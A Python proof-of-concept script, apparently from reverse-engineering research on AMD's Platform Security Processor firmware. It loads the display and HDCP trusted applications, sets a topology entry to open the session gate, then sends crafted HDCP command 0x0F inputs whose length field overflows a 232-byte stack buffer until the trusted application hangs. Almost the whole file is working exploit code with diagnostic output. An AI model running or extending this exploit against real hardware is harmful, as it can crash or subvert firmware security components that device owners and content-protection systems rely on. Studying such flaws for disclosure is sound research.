aboutsummaryrefslogtreecommitdiffstats
path: root/psp_out/exploit_hdcp_oob.py
blob: c9169af950790bca8037008cc4f2dff5330249ab (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
"""DEFINITIVE PROOF: minimal display-core bring-up -> HDCP TA stack overflow.

A. WITHOUT display-core: HDCP session open (cmd 0x0E) fails -> ta_ret 17
B. Bring up display-core: DTM TOPOLOGY_UPDATE_V2 -> ASD topology entry ACTIVE
C. WITH display-core: cmd 0x0E succeeds -> ta_ret 0   (gate opened)
D. cmd 0x0F reaches sub_402A88 and executes memcpy(v54[232], ctx+0x55, 5*N)
   safe N  -> TA returns normally
   large N -> write passes v54 -> TA hangs (overflow), sOS survives
"""
import ctypes, struct
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32

d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp)
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
P='/Users/user/dev/amd-psp-re/psp_out/'
def load(cmd,blob):
    ap,amc=alloc(0x40000); cp,cmc=alloc(0x8000)
    adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
    t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
    t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=0x8000
    r=psp._ring_submit(c); return r.resp.session_id,cp
load(am.GFX_CMD_ID_LOAD_ASD, open(P+'asd_full.bin','rb').read())
dtm_sid,dtm_shm  = load(am.GFX_CMD_ID_LOAD_TA, open(P+'dtm_full.bin','rb').read())
hdcp_sid,hdcp_shm= load(am.GFX_CMD_ID_LOAD_TA, open(P+'hdcp_full.bin','rb').read())

def inv(sid,shm,buf,tc):
    adev.vram.view(shm,0x8000)[:]=bytes(buf); adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
    iv.session_id,iv.ta_cmd_id=sid,tc
    try: psp._ring_submit(ic); ps=0
    except RuntimeError: ps=stat()
    except TimeoutError: return "TIMEOUT",None
    return ps, bytes(adev.vram.view(shm,0x2000)[:])
def topo(h):
    b=bytearray(0x8000); struct.pack_into('<I',b,0,2)
    struct.pack_into('<10I',b,0x10,h,1,1,0,0,0,0,0,0,0)
    ps,out=inv(dtm_sid,dtm_shm,b,2); return struct.unpack_from('<I',out,8)[0]
def hdcp(cmd,mut=None):
    b=bytearray(0x8000); struct.pack_into('<I',b,0,cmd)
    if mut: mut(b)
    ps,out=inv(hdcp_sid,hdcp_shm,b,cmd)
    if out is None: return "TIMEOUT",None,None
    return ps, struct.unpack_from('<I',out,4)[0], out
def open_slot(h=0):
    ps,ret,out=hdcp(0x0E, lambda b: struct.pack_into('<I',b,0xC,h))
    if out is None: return "TIMEOUT",None
    return ret, struct.unpack_from('<I',out,0x1410)[0]
def fire(slot,N):
    a3=5*N+25; ln=a3+1
    def m(b):
        struct.pack_into('<I',b,0xC,slot); struct.pack_into('<I',b,0x10,12)
        struct.pack_into('<I',b,0x14,ln)
        b[0x28]=12; b[0x29]=0; b[0x2A]=0; b[0x2B]=N&0xFF; b[0x2C]=0
        b[0x2F]=0; b[0x30]=0; b[0x31]=0
        for k in range(0x32,0x28+ln+1): b[k]=0x41
    return hdcp(0x0F,m)

print("="*66)
print("A. BEFORE display-core bring-up")
r,s = open_slot(0)
print("   HDCP cmd 0x0E  -> ta_ret=%s   (17 = topology query failed, GATE CLOSED)" % r)

print("\nB. BRING UP DISPLAY-CORE (DTM TOPOLOGY_UPDATE_V2 -> ASD topology service)")
for h in range(8):
    rr=topo(h)
    if h<2: print("   DTM topology handle=%d -> dtm_ret=%s  (0 = entry ACTIVE)" % (h,rr))

print("\nC. AFTER display-core bring-up")
r,s = open_slot(0)
print("   HDCP cmd 0x0E  -> ta_ret=%s slot=%s  (0 = SUCCESS, GATE OPEN)" % (r,s))

print("\nD. OOB: memcpy(v54[232 B], ctx+0x55, 5*N) at 0x402cde")
print("   %-4s %-7s %-9s %-9s %-8s %s" % ("N","5*N","vs 232","ta_ret","sub","sOS"))
dead=False
for N in (20, 40, 46, 52, 56, 70, 90, 103):
    r,slot = open_slot(0)
    if r != 0:
        print("   (slots exhausted / TA dead: 0x0E ret=%s)" % r); dead=True; break
    ps,ret,out = fire(slot,N)
    s1 = struct.unpack_from('<I',out,0x1424)[0] if out else None
    alive = psp.is_sos_alive()
    rel = "fits" if 5*N<=232 else "+%d OVER" % (5*N-232)
    print("   %-4d %-7d %-9s %-9s %-8s %s" % (N,5*N,rel,ret,s1,alive))
    if ret=="TIMEOUT":
        print("\n   *** OVERFLOW TRIGGERED: TA hung at 5*N=%d (%d bytes past v54) ***" % (5*N,5*N-232))
        dead=True; break

print("\nE. POST-CONDITION")
r2,_ = open_slot(0)
print("   HDCP TA responsive after overflow? 0x0E -> %s" % ("NO (dead)" if r2=="TIMEOUT" else "ret=%s"%r2))
print("   sOS alive (TA sandbox held): %s" % psp.is_sos_alive())